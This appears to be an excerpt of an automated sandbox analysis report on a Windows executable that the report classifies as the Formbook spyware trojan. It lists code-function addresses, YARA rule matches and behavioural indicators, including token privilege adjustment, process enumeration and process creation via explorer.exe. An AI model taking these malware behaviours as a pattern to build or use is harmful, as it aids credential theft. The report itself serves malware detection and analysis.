            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030001AA2_2_030001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD20002_2_02FD2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF81CC2_2_02FF81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF41A22_2_02FF41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC81582_2_02FC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDA1182_2_02FDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F301002_2_02F30100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5C6E02_2_02F5C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3C7C02_2_02F3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F407702_2_02F40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F647502_2_02F64750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEE4F62_2_02FEE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030005912_2_03000591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF24462_2_02FF2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE44202_2_02FE4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F405352_2_02F40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3EA802_2_02F3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF6BD72_2_02FF6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFAB402_2_02FFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E8F02_2_02F6E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F268B82_2_02F268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300A9A62_2_0300A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4A8402_2_02F4A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F428402_2_02F42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F429A02_2_02F429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F569622_2_02F56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFEEDB2_2_02FFEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F52E902_2_02F52E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFCE932_2_02FFCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40E592_2_02F40E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFEE262_2_02FFEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4CFE02_2_02F4CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F32FC82_2_02F32FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FBEFA02_2_02FBEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB4F402_2_02FB4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F60F302_2_02F60F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE2F302_2_02FE2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F82F282_2_02F82F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F30CF22_2_02F30CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0CB52_2_02FE0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F40C002_2_02F40C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3ADE02_2_02F3ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F58DBF2_2_02F58DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDCD1F2_2_02FDCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4AD002_2_02F4AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE12ED2_2_02FE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5B2C02_2_02F5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F452A02_2_02F452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F8739A2_2_02F8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2D34C2_2_02F2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF132D2_2_02FF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF70E92_2_02FF70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFF0E02_2_02FFF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEF0CC2_2_02FEF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F470C02_2_02F470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300B16B2_2_0300B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4B1B02_2_02F4B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F2F1722_2_02F2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F7516C2_2_02F7516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF16CC2_2_02FF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F856302_2_02F85630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFF7B02_2_02FFF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F314602_2_02F31460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFF43F2_2_02FFF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030095C32_2_030095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDD5B02_2_02FDD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF75712_2_02FF7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FEDAC62_2_02FEDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FDDAAC2_2_02FDDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F85AA02_2_02F85AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE1AA32_2_02FE1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB3A6C2_2_02FB3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFFA492_2_02FFFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF7A462_2_02FF7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB5BF02_2_02FB5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F7DBF92_2_02F7DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5FB802_2_02F5FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFFB762_2_02FFFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F438E02_2_02F438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FAD8002_2_02FAD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F499502_2_02F49950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5B9502_2_02F5B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FD59102_2_02FD5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F49EB02_2_02F49EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F03FD22_2_02F03FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F03FD52_2_02F03FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFFFB12_2_02FFFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F41F922_2_02F41F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFFF092_2_02FFFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFFCF22_2_02FFFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB9C322_2_02FB9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F5FDC02_2_02F5FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF7D732_2_02FF7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FF1D5A2_2_02FF1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F43D402_2_02F43D40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344A3524_2_0344A352
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034503E64_2_034503E6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0339E3F04_2_0339E3F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034302744_2_03430274
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034102C04_2_034102C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034181584_2_03418158
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033801004_2_03380100
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0342A1184_2_0342A118
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034481CC4_2_034481CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034441A24_2_034441A2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034501AA4_2_034501AA
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034220004_2_03422000
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033907704_2_03390770
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033B47504_2_033B4750
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0338C7C04_2_0338C7C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033AC6E04_2_033AC6E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033905354_2_03390535
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034505914_2_03450591
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034424464_2_03442446
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034344204_2_03434420
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0343E4F64_2_0343E4F6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344AB404_2_0344AB40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03446BD74_2_03446BD7
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0338EA804_2_0338EA80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033A69624_2_033A6962
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033929A04_2_033929A0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0345A9A64_2_0345A9A6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033928404_2_03392840
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0339A8404_2_0339A840
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033768B84_2_033768B8
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033BE8F04_2_033BE8F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03404F404_2_03404F40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033B0F304_2_033B0F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033D2F284_2_033D2F28
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03432F304_2_03432F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0339CFE04_2_0339CFE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0340EFA04_2_0340EFA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03382FC84_2_03382FC8
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03390E594_2_03390E59
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344EE264_2_0344EE26
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344EEDB4_2_0344EEDB
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033A2E904_2_033A2E90
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344CE934_2_0344CE93
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0339AD004_2_0339AD00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0342CD1F4_2_0342CD1F
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033A8DBF4_2_033A8DBF
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0338ADE04_2_0338ADE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03390C004_2_03390C00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03380CF24_2_03380CF2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03430CB54_2_03430CB5
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344132D4_2_0344132D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0337D34C4_2_0337D34C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033D739A4_2_033D739A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033952A04_2_033952A0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034312ED4_2_034312ED
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033AB2C04_2_033AB2C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0345B16B4_2_0345B16B
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0337F1724_2_0337F172
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C516C4_2_033C516C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0339B1B04_2_0339B1B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0343F0CC4_2_0343F0CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344F0E04_2_0344F0E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034470E94_2_034470E9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033970C04_2_033970C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344F7B04_2_0344F7B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034416CC4_2_034416CC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034475714_2_03447571
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0342D5B04_2_0342D5B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033814604_2_03381460
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344F43F4_2_0344F43F
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344FB764_2_0344FB76
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03405BF04_2_03405BF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033AFB804_2_033AFB80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033CDBF94_2_033CDBF9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03447A464_2_03447A46
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344FA494_2_0344FA49
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03403A6C4_2_03403A6C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0343DAC64_2_0343DAC6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033D5AA04_2_033D5AA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03431AA34_2_03431AA3
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0342DAAC4_2_0342DAAC
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_034259104_2_03425910
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033999504_2_03399950
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033AB9504_2_033AB950
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033FD8004_2_033FD800
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033938E04_2_033938E0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344FF094_2_0344FF09
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03391F924_2_03391F92
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344FFB14_2_0344FFB1
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03399EB04_2_03399EB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03441D5A4_2_03441D5A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03447D734_2_03447D73
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03393D404_2_03393D40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033AFDC04_2_033AFDC0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03409C324_2_03409C32
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0344FCF24_2_0344FCF2
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD18F04_2_00AD18F0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ACC8074_2_00ACC807
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ACC8104_2_00ACC810
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ACAAB04_2_00ACAAB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ACCA304_2_00ACCA30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD4FB04_2_00AD4FB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD318B4_2_00AD318B
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD31904_2_00AD3190
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AC11214_2_00AC1121
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AEB6404_2_00AEB640
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030EE30D4_2_030EE30D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030EE1E44_2_030EE1E4
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030ED7084_2_030ED708
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030EE69C4_2_030EE69C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030EC9C84_2_030EC9C8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 02FAEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 02FBF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 02F75130 appears 58 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 02F87E54 appears 110 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 02F2B970 appears 280 times
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: String function: 0040E6D0 appears 35 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 033D7E54 appears 101 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 0337B970 appears 280 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 033FEA12 appears 86 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 0340F290 appears 105 times
            Source: C:\Windows\SysWOW64\replace.exeCode function: String function: 033C5130 appears 58 times
            Source: UNGSno5k4G.exe, 00000000.00000003.1352366407.000000000482D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs UNGSno5k4G.exe
            Source: UNGSno5k4G.exe, 00000000.00000003.1351840729.0000000004683000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs UNGSno5k4G.exe
            Source: UNGSno5k4G.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@11/4@6/5
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Windows[1].jsonJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeFile created: C:\Users\user\AppData\Local\Temp\epistemologyJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Windows\explorer.exe
            Source: unknownProcess created: C:\Windows\explorer.exe
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Windows\explorer.exeJump to behavior
            Source: UNGSno5k4G.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
